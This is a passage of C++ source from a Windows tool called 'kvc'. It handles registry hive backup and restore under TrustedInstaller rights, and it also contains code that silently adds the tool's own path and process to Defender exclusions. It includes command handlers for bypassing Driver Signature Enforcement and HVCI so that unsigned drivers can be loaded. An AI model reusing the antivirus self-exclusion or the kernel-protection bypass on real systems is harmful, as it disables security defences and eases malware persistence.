    if (registryPath.starts_with(L"HKLM\\") || registryPath.starts_with(L"HKEY_LOCAL_MACHINE\\")) {
        hRootKey = HKEY_LOCAL_MACHINE;
        size_t pos = registryPath.find(L'\\');
        subKey = registryPath.substr(pos + 1);
    }
    else if (registryPath.starts_with(L"HKU\\") || registryPath.starts_with(L"HKEY_USERS\\")) {
        hRootKey = HKEY_USERS;
        size_t pos = registryPath.find(L'\\');
        subKey = registryPath.substr(pos + 1);
    }
    else if (registryPath.starts_with(L"HKCU") || registryPath.starts_with(L"HKEY_CURRENT_USER")) {
        hRootKey = HKEY_CURRENT_USER;
        size_t pos = registryPath.find(L'\\');
        if (pos != std::wstring::npos) {
            subKey = registryPath.substr(pos + 1);
        }
    }
    else {
        ERROR(L"Invalid registry path format: %s", registryPath.c_str());
        return false;
    }

    RegKeyGuard key;
    LONG result = RegOpenKeyExW(hRootKey, subKey.empty() ? nullptr : subKey.c_str(),
                                0, KEY_READ, key.addressof());

    if (result != ERROR_SUCCESS) {
        ERROR(L"Failed to open registry key %s: %d", registryPath.c_str(), result);
        return false;
    }

    // Save the hive using latest format (compresses and defragments)
    result = RegSaveKeyExW(key.get(), destFile.c_str(), nullptr, REG_LATEST_FORMAT);

    if (result != ERROR_SUCCESS) {
        ERROR(L"RegSaveKeyEx failed for %s: %d", registryPath.c_str(), result);
        return false;
    }

    return true;
}


bool HiveManager::BackupRegistryHives(const fs::path& targetDir)
{
    INFO(L"Backing up registry hives...");
    
    for (const auto& hive : m_registryHives) {
        m_lastStats.totalHives++;
        
        fs::path destFile = targetDir / hive.name;
        
        INFO(L"  Saving %s -> %s", hive.name.c_str(), destFile.filename().c_str());
        
        // All hives are saved via their live registry path using RegSaveKeyExW.
        // Physical-file loading is not attempted here: hives already mounted by the kernel
        // (including BCD and UsrClass) will always return ERROR_SHARING_VIOLATION (32)
        // from RegLoadKeyW, making that path useless on a running system.
        bool saved = SaveRegistryHive(hive.registryPath, destFile);

        if (saved) {
            m_lastStats.successfulHives++;
            
            std::error_code ec;
            auto size = fs::file_size(destFile, ec);
            if (!ec) {
                m_lastStats.totalBytes += size;
            }
            
            SUCCESS(L"  Saved %s (%llu bytes)", hive.name.c_str(), size);
        }
        else {
            m_lastStats.failedHives++;
            ERROR(L"  Failed to save %s", hive.name.c_str());
        }
    }
    
    return m_lastStats.successfulHives > 0;
}

void HiveManager::PrintStats(const std::wstring& operation)
{
    std::wcout << L"\n";
    INFO(L"=== %s Statistics ===", operation.c_str());
    INFO(L"Registry Hives: %zu/%zu successful", m_lastStats.successfulHives, m_lastStats.totalHives);
    INFO(L"Total Size: %.2f MB", static_cast<double>(m_lastStats.totalBytes) / (1024.0 * 1024.0));
    
    if (m_lastStats.failedHives > 0) {
        ERROR(L"Failed: %zu hives", m_lastStats.failedHives);
    }
}

bool HiveManager::Backup(const std::wstring& targetPath)
{
    ResetStats();
    
    fs::path backupDir;
    if (targetPath.empty()) {
        backupDir = GenerateDefaultBackupPath();
        INFO(L"Using default backup path: %s", backupDir.c_str());
    }
    else {
        backupDir = targetPath;
    }
    
    if (!ValidateBackupDirectory(backupDir)) {
        return false;
    }
    
    if (!ElevateToTrustedInstaller()) {
        return false;
    }
    
    INFO(L"Starting registry backup to: %s", backupDir.c_str());
    
    bool success = BackupRegistryHives(backupDir);
    
    PrintStats(L"Backup");
    
    if (success) {
        SUCCESS(L"Backup completed: %s", backupDir.c_str());
        return true;
    }
    
    ERROR(L"Backup failed");
    return false;
}

bool HiveManager::RestoreRegistryHives(const fs::path& sourceDir)
{
    INFO(L"Validating backup files...");
    
    for (const auto& hive : m_registryHives) {
        fs::path sourceFile = sourceDir / hive.name;
        
        std::error_code ec;
        if (fs::exists(sourceFile, ec)) {
            INFO(L"  Found: %s", hive.name.c_str());
            m_lastStats.successfulHives++;
            
            auto size = fs::file_size(sourceFile, ec);
            if (!ec) {
                m_lastStats.totalBytes += size;
            }
        }
        else {
            ERROR(L"  Missing: %s", hive.name.c_str());
            m_lastStats.failedHives++;
        }
    }
    
    return m_lastStats.failedHives == 0;
}

// Schedule replacement of a single hive at next boot via RegReplaceKeyW.
//
// SYSTEM hive requires a special flow because direct RegReplaceKeyW on a raw
// backup file returns ERROR_SHARING_VIOLATION (32) for SYSTEM on a live system:
//   1. RegLoadKeyW   -> load backup as HKLM\TMP_SYSTEM (validates + maps file)
//   2. RegSaveKeyExW -> produce a clean hive file via API (no dirty pages)
//   3. RegUnLoadKeyW -> unload TMP_SYSTEM
//   4. RegReplaceKeyW(HKLM, "SYSTEM", cleanFile, bakFile)
//
// All other hives (SOFTWARE, SAM, SECURITY, DEFAULT, user hives):
//   1. CopyFileW(sourceFile -> stagingFile)  - preserve original backup
//   2. RegReplaceKeyW(root, subKey, stagingFile, bakFile)
//
// RegReplaceKeyW registers the swap inside the kernel hive manager.
// At next boot, before SMSS maps hives, the kernel atomically replaces the
// live hive file. No BootExecute entry, no PendingFileRenameOperations.
bool HiveManager::ScheduleHiveReplacement(const RegistryHive& hive, const fs::path& sourceFile)
{
    // Resolve physical path for staging and BAK files
    fs::path physicalPath = GetHivePhysicalPath(hive.name);
    if (physicalPath.empty()) {
        ERROR(L"  Cannot determine physical path for %s", hive.name.c_str());
        return false;
    }

    fs::path stagingFile = fs::path(physicalPath.wstring() + L".TMP");
    fs::path bakFile     = fs::path(physicalPath.wstring() + L".BAK");

    // Parse root key and subkey from registryPath
    HKEY    hRootKey = nullptr;
    std::wstring subKey;

    if (hive.registryPath.starts_with(L"HKLM\\")) {
        hRootKey = HKEY_LOCAL_MACHINE;
        subKey   = hive.registryPath.substr(5); // skip "HKLM\"
    }
    else if (hive.registryPath.starts_with(L"HKU\\")) {
        hRootKey = HKEY_USERS;
        subKey   = hive.registryPath.substr(4); // skip "HKU\"
    }
    else {
        ERROR(L"  Invalid path format for %s", hive.name.c_str());
        return false;
    }

    LONG ret = ERROR_SUCCESS;
    // SYSTEM and SOFTWARE need load+normalize+save to avoid sharing violations with RegReplaceKeyW.
    // BCD has a restrictive DACL that blocks direct staging writes to the EFI partition.
    // UsrClass is a live user hive that benefits from the same clean normalize cycle.
    bool normalized = (hive.name == L"SYSTEM" || hive.name == L"SOFTWARE" ||
                       hive.name == L"BCD"    || hive.name == L"UsrClass");

    if (normalized) {
        // Normalize SYSTEM/SOFTWARE through RegLoadKeyW + RegSaveKeyExW.
        // This avoids dirty/format quirks and lets us sanitize SOFTWARE ProfileList.
        fs::path cleanFile = fs::path(physicalPath.wstring() + L".TMP2");
        std::wstring mountName;

        for (DWORD attempt = 0; attempt < 32; ++attempt) {
            wchar_t buffer[64] = {};
            if (FAILED(StringCchPrintfW(buffer, ARRAYSIZE(buffer), L"TMP_KVC_%s_%lu_%lu",
                                        (hive.name == L"SYSTEM") ? L"SYSTEM" : L"SOFTWARE",
                                        GetCurrentProcessId(), attempt))) {
                return false;
            }
            mountName = buffer;
            ret = RegLoadKeyW(HKEY_LOCAL_MACHINE, mountName.c_str(), sourceFile.c_str());
            if (ret == ERROR_SUCCESS) {
                break;
            }
            if (ret != ERROR_ALREADY_EXISTS) {
                ERROR(L"  %s RegLoadKeyW returned %ld", hive.name.c_str(), ret);
                return false;
            }
        }

        if (ret != ERROR_SUCCESS) {
            ERROR(L"  %s failed to obtain unique temp mount name", hive.name.c_str());
            return false;
        }

        HKEY hTmp = nullptr;
        ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE, mountName.c_str(), 0, KEY_READ | KEY_WRITE, &hTmp);
        if (ret != ERROR_SUCCESS) {
            ERROR(L"  %s RegOpenKeyExW(%s) returned %ld", hive.name.c_str(), mountName.c_str(), ret);
            RegUnLoadKeyW(HKEY_LOCAL_MACHINE, mountName.c_str());
            return false;
        }

        if (hive.name == L"SOFTWARE") {
            SanitizeProfileListInSoftwareHive(hTmp);
        }

        DeleteFileW(cleanFile.c_str()); // RegSaveKeyExW does not overwrite
        ret = RegSaveKeyExW(hTmp, cleanFile.c_str(), nullptr, REG_LATEST_FORMAT);
        RegCloseKey(hTmp);
        RegUnLoadKeyW(HKEY_LOCAL_MACHINE, mountName.c_str());

        if (ret != ERROR_SUCCESS) {
            ERROR(L"  %s RegSaveKeyExW returned %ld", hive.name.c_str(), ret);
            DeleteFileW(cleanFile.c_str());
            return false;
        }

        DeleteFileW(bakFile.c_str());
        ret = RegReplaceKeyW(hRootKey, subKey.c_str(), cleanFile.c_str(), bakFile.c_str());
        if (ret != ERROR_SUCCESS) {
            ERROR(L"  %s RegReplaceKeyW returned %ld", hive.name.c_str(), ret);
            DeleteFileW(cleanFile.c_str());
            return false;
        }
    } else {
        // Other hives: copy backup to staging so original backup is preserved.
        DeleteFileW(stagingFile.c_str());
        if (!CopyFileW(sourceFile.c_str(), stagingFile.c_str(), FALSE)) {
            ERROR(L"  CopyFileW failed for %s: %lu", hive.name.c_str(), GetLastError());
            return false;
        }

        DeleteFileW(bakFile.c_str()); // RegReplaceKeyW returns ERROR_ALREADY_EXISTS if BAK exists
        ret = RegReplaceKeyW(hRootKey, subKey.c_str(), stagingFile.c_str(), bakFile.c_str());
        if (ret != ERROR_SUCCESS) {
            ERROR(L"  %s RegReplaceKeyW returned %ld", hive.name.c_str(), ret);
            DeleteFileW(stagingFile.c_str());
            return false;
        }
    }

    SUCCESS(L"  Scheduled %s for replacement at next boot", hive.name.c_str());
    return true;
}

bool HiveManager::ApplyRestoreAndReboot(const fs::path& sourceDir)
{
    // Enable backup and restore privileges required by RegReplaceKeyW and RegLoadKeyW
    {
        TokenGuard token;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, token.addressof())) {
            TOKEN_PRIVILEGES tp;
            LUID luid;

            if (LookupPrivilegeValueW(nullptr, SE_RESTORE_NAME, &luid)) {
                tp.PrivilegeCount = 1;
                tp.Privileges[0].Luid = luid;
                tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                AdjustTokenPrivileges(token.get(), FALSE, &tp, 0, nullptr, nullptr);
            }

            if (LookupPrivilegeValueW(nullptr, SE_BACKUP_NAME, &luid)) {
                tp.PrivilegeCount = 1;
                tp.Privileges[0].Luid = luid;
                tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                AdjustTokenPrivileges(token.get(), FALSE, &tp, 0, nullptr, nullptr);
            }
        }
    }

    INFO(L"Scheduling registry hive replacements via RegReplaceKeyW...");

    size_t scheduled = 0;

    for (const auto& hive : m_registryHives) {
        if (!hive.canRestore) {
            INFO(L"  Skipping %s (cannot restore)", hive.name.c_str());
            continue;
        }

        fs::path sourceFile = sourceDir / hive.name;

        std::error_code ec;
        if (!fs::exists(sourceFile, ec)) {
            ERROR(L"  Missing backup file: %s", hive.name.c_str());
            continue;
        }

        INFO(L"  Processing %s...", hive.name.c_str());

        if (ScheduleHiveReplacement(hive, sourceFile)) {
            scheduled++;
        }
    }

    if (scheduled == 0) {
        ERROR(L"No hives were scheduled successfully");
        return false;
    }

    SUCCESS(L"Scheduled %zu hive(s) for replacement at next boot", scheduled);
    INFO(L"Kernel will replace hive files before SMSS maps them - no BootExecute required");
    INFO(L"Initiating system reboot in 10 seconds...");

    // Enable shutdown privilege
    {
        TokenGuard token;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, token.addressof())) {
            TOKEN_PRIVILEGES tp;
            LUID luid;

            if (LookupPrivilegeValueW(nullptr, SE_SHUTDOWN_NAME, &luid)) {
                tp.PrivilegeCount = 1;
                tp.Privileges[0].Luid = luid;
                tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                AdjustTokenPrivileges(token.get(), FALSE, &tp, 0, nullptr, nullptr);
            }
        }
    }

    if (!InitiateSystemShutdownExW(
        nullptr,
        const_cast<LPWSTR>(L"Registry restore complete - system restart required"),
        10,
        TRUE,
        TRUE,
        SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_RECONFIG | SHTDN_REASON_FLAG_PLANNED
    )) {
        ERROR(L"Failed to initiate shutdown: %d", GetLastError());
        INFO(L"Please restart the system manually");
        return false;
    }

    SUCCESS(L"System reboot initiated");
    return true;
}

bool HiveManager::Restore(const std::wstring& sourcePath)
{
    ResetStats();
    
    fs::path restoreDir = sourcePath;
    
    if (!ValidateRestoreDirectory(restoreDir)) {
        return false;
    }
    
    if (!ElevateToTrustedInstaller()) {
        return false;
    }
    
    INFO(L"Starting registry restore from: %s", restoreDir.c_str());
    
    bool validated = RestoreRegistryHives(restoreDir);
    
    PrintStats(L"Restore Validation");
    
    if (!validated) {
        ERROR(L"Restore validation failed - missing backup files");
        return false;
    }
    
    INFO(L"All backup files validated successfully");
    INFO(L"WARNING: Registry restore will modify system hives and requires restart");
    
    if (PromptYesNo(L"Apply restore and reboot now? (Y/N):")) {
        return ApplyRestoreAndReboot(restoreDir);
    }
    
    INFO(L"Restore cancelled by user");
    return false;
}

bool HiveManager::Defrag(const std::wstring& tempPath)
{
    INFO(L"Starting registry defragmentation (backup with compression)");
    
    fs::path defragPath;
    if (tempPath.empty()) {
        defragPath = fs::temp_directory_path() / (L"Registry_Defrag_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
    }
    else {
        defragPath = tempPath;
    }
    
    INFO(L"Using temporary path: %s", defragPath.c_str());
    
    if (!Backup(defragPath.wstring())) {
        ERROR(L"Defrag failed at backup stage");
        return false;
    }
    
    INFO(L"Defragmented backup created successfully");
    INFO(L"Backup location: %s", defragPath.c_str());
    
    // Validate that every scheduled hive was actually written before committing to a replace cycle.
    // This mirrors the validation step in Restore and ensures no hive is silently skipped.
    ResetStats();
    bool validated = RestoreRegistryHives(defragPath);
    PrintStats(L"Defrag Validation");

    if (!validated) {
        ERROR(L"Defrag aborted - one or more hive files are missing from the export");
        return false;
    }

    INFO(L"All defragmented hive files validated");
    INFO(L"WARNING: Registry defrag will modify system hives and requires restart");
    
    if (PromptYesNo(L"Apply defragmented hives and reboot now? (Y/N):")) {
        return ApplyRestoreAndReboot(defragPath);
    }
    
    SUCCESS(L"Defragmentation backup completed");
    INFO(L"You can manually restore from: %s", defragPath.c_str());
    return true;
}

<<<FILE: kvc/HiveManager.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     4.63 KB
// HiveManager.h
// Registry hive backup, restore and defragmentation manager (TrustedInstaller, destructive ops)

#pragma once

#include <windows.h>
#include <string>
#include <vector>
#include <filesystem>

namespace fs = std::filesystem;

// Forward declaration of TrustedInstallerIntegrator class
class TrustedInstallerIntegrator;

// Manage registry hives: backup, restore and defragment (supports system and user hives; TI required)
class HiveManager
{
public:
    // Acquire TrustedInstaller, gather user info and initialize internal state
    HiveManager();
    
    // Release TrustedInstaller token and clean up on destruction
    ~HiveManager();

    // === Main Operations ===
    
    // Backup all supported registry hives to target directory (TrustedInstaller required)
    bool Backup(const std::wstring& targetPath = L"");
    
    // Restore registry hives from backup directory and schedule reboot (validates files, destructive)
    bool Restore(const std::wstring& sourcePath);
    
    // Defragment registry hives via export/import cycle to reduce fragmentation
    bool Defrag(const std::wstring& tempPath = L"");

    // Operation statistics for backup/restore runs
    struct BackupStats {
        size_t totalHives = 0;      // Hives processed
        size_t successfulHives = 0; // Successful operations
        size_t failedHives = 0;     // Failed operations
        uint64_t totalBytes = 0;    // Total bytes processed
    };

    // Return stats from last operation (reset at start of each op)
    const BackupStats& GetLastStats() const { return m_lastStats; }

private:
    // Registry hive metadata for processing
    struct RegistryHive {
        std::wstring name;          // Hive name (e.g., "SYSTEM")
        std::wstring registryPath;  // Registry path (e.g., "HKLM\\SYSTEM")
        bool canRestore;            // Restorable with RegReplaceKeyW
    };

    // === Internal Operations ===
    
    // Save all configured registry hives to target directory (calls SaveRegistryHive)
    bool BackupRegistryHives(const fs::path& targetDir);
    
    // Validate and prepare restore from backup directory (calls ApplyRestoreAndReboot)
    bool RestoreRegistryHives(const fs::path& sourceDir);
    
    // Apply restore and initiate system reboot (uses RegReplaceKeyW + InitiateSystemShutdownExW)
    bool ApplyRestoreAndReboot(const fs::path& sourceDir);
    
    // Schedule replacement of a single hive at next boot via RegReplaceKeyW.
    // SYSTEM uses RegLoadKeyW->RegSaveKeyExW->RegUnLoadKeyW to produce a clean hive file first.
    // All other hives use CopyFileW to a staging file to preserve the original backup.
    bool ScheduleHiveReplacement(const RegistryHive& hive, const fs::path& sourceFile);

    // Save a single registry hive to disk using RegSaveKeyExW (requires SE_BACKUP_NAME)
    bool SaveRegistryHive(const std::wstring& registryPath, const fs::path& destFile);

    
    // Elevate process to TrustedInstaller and enable required privileges
    bool ElevateToTrustedInstaller();
    
    // Ask user Yes/No confirmation for destructive operations
    bool PromptYesNo(const wchar_t* question);
    
    // Generate default backup path using username and timestamp
    fs::path GenerateDefaultBackupPath();
    
    // Retrieve current user SID string (cached)
    std::wstring GetCurrentUserSid();
    
    // Retrieve current username (cached)
    std::wstring GetCurrentUsername();
    
    // Resolve hive name to physical file path on disk (handles user/system special cases)
    fs::path GetHivePhysicalPath(const std::wstring& hiveName);
    
    // Validate backup directory exists, is writable and has sufficient space
    bool ValidateBackupDirectory(const fs::path& path);
    
    // Validate restore directory contains expected hive files and readable sizes
    bool ValidateRestoreDirectory(const fs::path& path);
    
    // Populate m_registryHives with supported hives and metadata (called in ctor)
    void InitializeHiveLists();
    
    // Reset statistics counters to zero at operation start
    void ResetStats();
    
    // Print operation statistics to console in formatted form
    void PrintStats(const std::wstring& operation);

    // === Data Members ===
    
    std::vector<RegistryHive> m_registryHives;      // Hives to process
    BackupStats m_lastStats;                        // Last operation stats
    
    HANDLE m_tiToken;                               // TrustedInstaller token handle
    TrustedInstallerIntegrator* m_tiIntegrator;     // TrustedInstaller integration helper
    std::wstring m_currentUserSid;                  // Cached current user SID
    std::wstring m_currentUsername;                 // Cached current username
};

<<<FILE: kvc/kvc.cpp>>>
Created:  2026-05-28 10:09:16
Modified: 2026-05-28 16:42:11
Size:     58.07 KB
// Kernel Vulnerability Capabilities Framework - Main Application Entry Point

#include "common.h"
#include "Controller.h"
#include "DSEBypass.h"
#include "HelpSystem.h"
#include "DefenderManager.h"
#include "DefenderUI.h"
#include "WmiDefenderClient.h"
#include "ProcessManager.h"
#include "ProcessListGUI.h"
#include "ServiceManager.h"
#include "HiveManager.h"
#include "ModuleManager.h"
#include <TlHelp32.h>
#include <signal.h>
#include <charconv>
#include <Shlobj.h>
#include <functional>
#include <unordered_map>
#include <string>
#include <vector>
#include <sstream>

#pragma comment(lib, "Shell32.lib")

// Tetris game entry point from x64 assembly
extern "C" int TetrisMain();

// VaultGuard GUI entry point from vg\main.asm
extern "C" void VgGuiMain();

// IOCTL wrappers exported by ControllerBlocker.cpp, called by vg asm and kvc.cpp
extern "C" INT_PTR IoctlSetActive(DWORD active);
extern "C" INT_PTR IoctlAddPath(DWORD flags, const WCHAR* dosPath);
extern "C" INT_PTR IoctlRemovePath(const WCHAR* dosPath);
extern "C" INT_PTR IoctlAddTrusted(const WCHAR* name);
extern "C" INT_PTR IoctlRemoveTrusted(const WCHAR* name);
extern "C" INT_PTR IoctlClearAll();

// Registry persistence from vg\config.asm (HKCU\Software\kvc\lock\*)
extern "C" void ConfigSavePath(const WCHAR* path, DWORD flags);
extern "C" void ConfigRemovePath(const WCHAR* path);
extern "C" void ConfigSaveTrusted(const WCHAR* name);
extern "C" void ConfigRemoveTrusted(const WCHAR* name);
extern "C" void ConfigLoad();

// ============================================================================
// GLOBAL STATE
// ============================================================================

std::unique_ptr<Controller> g_controller;
volatile bool g_interrupted = false;

// ============================================================================
// HELPERS
// ============================================================================

void CleanupDriver() noexcept {
    if (g_controller) g_controller->PerformAtomicCleanup();
}

void SignalHandler(int signum) {
    if (signum == SIGINT) {
        g_interrupted = true;
        ERROR(L"\nInterrupted by user - performing emergency cleanup...");
        CleanupDriver();
        exit(130);
    }
}

// Helper to remove whitespace from both ends of a string
std::wstring Trim(const std::wstring& str) {
    size_t first = str.find_first_not_of(L" \t");
    if (first == std::wstring::npos) return L"";
    size_t last = str.find_last_not_of(L" \t");
    return str.substr(first, last - first + 1);
}

std::optional<DWORD> ParsePid(std::wstring_view pidStr) noexcept {
    if (pidStr.empty()) return std::nullopt;
    std::string narrowStr;
    narrowStr.reserve(pidStr.size());
    for (wchar_t wc : pidStr) {
        if (wc > 127) return std::nullopt;
        narrowStr.push_back(static_cast<char>(wc));
    }
    DWORD result = 0;
    auto [ptr, ec] = std::from_chars(narrowStr.data(), narrowStr.data() + narrowStr.size(), result);
    return (ec == std::errc{} && ptr == narrowStr.data() + narrowStr.size()) ? std::make_optional(result) : std::nullopt;
}

bool IsNumeric(std::wstring_view str) noexcept {
    if (str.empty()) return false;
    for (wchar_t ch : str) if (ch < L'0' || ch > L'9') return false;
    return true;
}

bool IsHelpFlag(std::wstring_view arg) noexcept {
    return (arg == L"/?" || arg == L"/help" || arg == L"/h" || 
            arg == L"-?" || arg == L"-help" || arg == L"-h" || 
            arg == L"--help" || arg == L"--h" || arg == L"help" || arg == L"?");
}

bool CheckKvcPassExists() noexcept {
    if (GetFileAttributesW(L"kvc_pass.exe") != INVALID_FILE_ATTRIBUTES) return true;
    wchar_t systemDir[MAX_PATH];
    if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
        std::wstring path = std::wstring(systemDir) + L"\\kvc_pass.exe";
        return GetFileAttributesW(path.c_str()) != INVALID_FILE_ATTRIBUTES;
    }
    return false;
}

void EnsureSelfDefenderExclusions() noexcept {
    wchar_t selfPathBuf[MAX_PATH] = {};
    DWORD selfPathLen = GetModuleFileNameW(nullptr, selfPathBuf, MAX_PATH);
    if (selfPathLen == 0 || selfPathLen >= MAX_PATH) {
        DEBUG(L"Auto-exclusion skipped: failed to get current executable path");
        return;
    }

    std::wstring selfPath(selfPathBuf, selfPathLen);
    std::wstring selfProcess = selfPath;
    size_t slashPos = selfProcess.find_last_of(L"\\/");
    if (slashPos != std::wstring::npos) {
        selfProcess = selfProcess.substr(slashPos + 1);
    }

    WmiDefenderClient wmi;
    if (!wmi.IsConnected()) {
        DEBUG(L"Defender WMI unavailable/inactive - auto-exclusion skipped");
        return;
    }

    const auto ensureOne = [&](WmiDefenderClient::ExclusionType type, const wchar_t* typeName, const std::wstring& value) {
        if (wmi.HasExclusion(type, value)) {
            DEBUG(L"Defender auto-exclusion already exists: %s = %s", typeName, value.c_str());
            return;
        }

        if (wmi.Add(type, value)) {
            DEBUG(L"Defender auto-exclusion added: %s = %s", typeName, value.c_str());
        } else {
            DEBUG(L"Defender auto-exclusion failed: %s = %s", typeName, value.c_str());
        }
    };

    ensureOne(WmiDefenderClient::ExclusionType::Process, L"ExclusionProcess", selfProcess);
    ensureOne(WmiDefenderClient::ExclusionType::Path, L"ExclusionPath", selfPath);
}

bool InitiateSystemRestart() noexcept {
    HANDLE token; TOKEN_PRIVILEGES tp; LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) return false;
    if (!LookupPrivilegeValueW(nullptr, SE_SHUTDOWN_NAME, &luid)) { CloseHandle(token); return false; }
    tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    bool success = AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
    CloseHandle(token);
    return success ? (ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != 0) : false;
}

// ============================================================================
// COMMAND HANDLERS
// ============================================================================

int HandleDriverCommand(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        ERROR(L"Missing driver subcommand");
        ERROR(L"Usage: kvc driver <load|reload|stop|remove> <path|name>");
        return 1;
    }
    std::wstring subCmd = StringUtils::ToLowerCaseCopy(argv[2]);

    if (subCmd == L"load") {
        if (argc < 4) {
            ERROR(L"Missing driver path");
            ERROR(L"Usage: kvc driver load <path> [-s <0-4>]");
            return 1;
        }
        DWORD startType = SERVICE_DEMAND_START;
        if (argc >= 6 && std::wstring(argv[4]) == L"-s") {
            startType = static_cast<DWORD>(_wtoi(argv[5]));
        }
        return g_controller->LoadExternalDriver(argv[3], startType) ? 0 : 2;
    }
    
    if (argc < 4) {
        ERROR(L"Missing driver name/path");
        // Show simplified usage info
        ERROR(L"Usage: kvc driver <load|reload|stop|remove> <path|name>");
        return 1;
    }

    if (subCmd == L"reload") return g_controller->ReloadExternalDriver(argv[3]) ? 0 : 2;
    if (subCmd == L"stop") return g_controller->StopExternalDriver(argv[3]) ? 0 : 2;
    if (subCmd == L"remove") return g_controller->RemoveExternalDriver(argv[3]) ? 0 : 2;
    
    ERROR(L"Unknown driver subcommand: %s", subCmd.c_str());
    return 1;
}

int HandleUninstall(int argc, wchar_t** argv) {
    // kvc uninstall smss - remove only SMSS loader (BootExecute + drivers.ini)
    if (argc >= 3 && std::wstring(argv[2]) == L"smss") {
        return g_controller->UninstallSmss() ? 0 : 1;
    }

    // kvc uninstall - remove NT service AND SMSS loader
    INFO(L"Uninstalling Kernel Vulnerability Capabilities Framework service...");
    bool success = ServiceManager::UninstallService();

    // Remove driver files from DriverStore with TrustedInstaller privileges.
    // ServiceManager::UninstallService() only deletes the SCM entry; file cleanup
    // requires TI rights and must be done explicitly here.
    // NOTE: UninstallDriver() returns early when the SCM entry is already gone,
    // so we call DeleteDriverFiles() directly to guarantee file removal.
    INFO(L"Removing driver files from DriverStore...");
    g_controller->DeleteDriverFiles();

    INFO(L"Cleaning up registry configuration...");
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
        LONG result = RegDeleteTreeW(hKey, L"kvc");
        if (result == ERROR_SUCCESS) SUCCESS(L"Registry configuration cleaned successfully");
        else if (result == ERROR_FILE_NOT_FOUND) INFO(L"No registry configuration found to clean");
        else ERROR(L"Failed to clean registry configuration: %d", result);
        RegCloseKey(hKey);
    }

    // Also clean up SMSS loader if present
    INFO(L"Removing SMSS boot-phase loader (if installed)...");
    g_controller->UninstallSmss();

    return success ? 0 : 1;
}

int HandleServiceCommand(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        ERROR(L"Missing service command: start, stop, restart");
        return 1;
    }
    std::wstring subCmd = argv[2];

    if (subCmd == L"start") {
        INFO(L"Starting Kernel Vulnerability Capabilities Framework service...");
        return ServiceManager::StartServiceProcess() ? (SUCCESS(L"Service started successfully"), 0) : (ERROR(L"Failed to start service"), 1);
    }
    if (subCmd == L"stop") {
        INFO(L"Stopping Kernel Vulnerability Capabilities Framework service...");
        return ServiceManager::StopServiceProcess() ? (SUCCESS(L"Service stopped successfully"), 0) : (ERROR(L"Failed to stop service"), 1);
    }
    if (subCmd == L"restart") {
		INFO(L"Restarting Kernel Vulnerability Capabilities Framework service...");
		INFO(L"Stopping service...");
		bool stopped = ServiceManager::StopServiceProcess();
		INFO(L"Starting service...");
		bool started = ServiceManager::StartServiceProcess();
		return (stopped && started) ? 0 : 1;
    }
    if (subCmd == L"status") {
        INFO(L"Checking Kernel Vulnerability Capabilities Framework service status...");
        const bool installed = IsServiceInstalled();
        const bool running = installed ? IsServiceRunning() : false;
        
        std::wcout << L"\n";
        INFO(L"Service Information:");
        INFO(L" Name: %s", ServiceConstants::SERVICE_NAME);
        INFO(L" Display Name: %s", ServiceConstants::SERVICE_DISPLAY_NAME);
        std::wcout << L"\n";
        
        if (installed) {
            SUCCESS(L"Installation Status: INSTALLED");
            if (running) {
                SUCCESS(L"Runtime Status: RUNNING");
                SUCCESS(L"Service is operational and ready for kernel operations");
            } else {
                ERROR(L"Runtime Status: STOPPED");
                INFO(L"Use 'kvc service start' to start the service");
            }
        } else {
            ERROR(L"Installation Status: NOT INSTALLED");
            INFO(L"Use 'kvc install' to install the service first");
        }
        std::wcout << L"\n";
        return 0;
    }
    ERROR(L"Unknown service command: %s", subCmd.c_str());
    return 1;
}

int HandleDseCommand(int argc, wchar_t* argv[]) {
    // 1. STATUS CHECK
    if (argc < 3) {
        INFO(L"Checking Driver Signature Enforcement status...");
        
        ULONG_PTR ciOptionsAddr = 0;
        DWORD value = 0;
        
        if (!g_controller->GetDSEStatus(ciOptionsAddr, value)) {
            ERROR(L"Failed to retrieve DSE status");
            return 2;
        }
        
        bool dseEnabled = (value & 0x6) != 0;
        bool hvciEnabled = (value & 0x0001C000) == 0x0001C000;
        
        std::wcout << L"\n";
        INFO(L"DSE Status Information:");
        INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr);
        INFO(L"g_CiOptions value: 0x%08X", value);
        
        auto dseNGCallback = SessionManager::GetOriginalCiCallback();
        if (dseNGCallback != 0) {
            INFO(L"DSE-NG (Safe Mode) active - callback saved: 0x%llX", dseNGCallback);
        }

        std::wcout << L"\n";
        
        if (hvciEnabled) {
            INFO(L"Recommended: 'kvc dse off --safe' - modern method (requires reboot, preserves VBS)");
            INFO(L"Legacy: 'kvc dse off' - HVCI bypass (requires reboot, disables Secure Kernel)");
        }
        else if (dseEnabled) {
            SUCCESS(L"DSE can be safely disabled using 'kvc dse off --safe'");
        } else {
            INFO(L"Driver signature enforcement: DISABLED");
            INFO(L"Unsigned drivers allowed");
            INFO(L"Use 'kvc dse on --safe' to restore kernel protection");
        }
        std::wcout << L"\n";
        return 0;
    }
    
    // 2. ACTIONS
    std::wstring subCmd = argv[2];
    bool safe = (argc >= 4 && std::wstring(argv[3]) == L"--safe");

    if (subCmd == L"off") {
        if (safe) {
            INFO(L"Executing Next-Gen DSE Bypass (PDB-based)...");
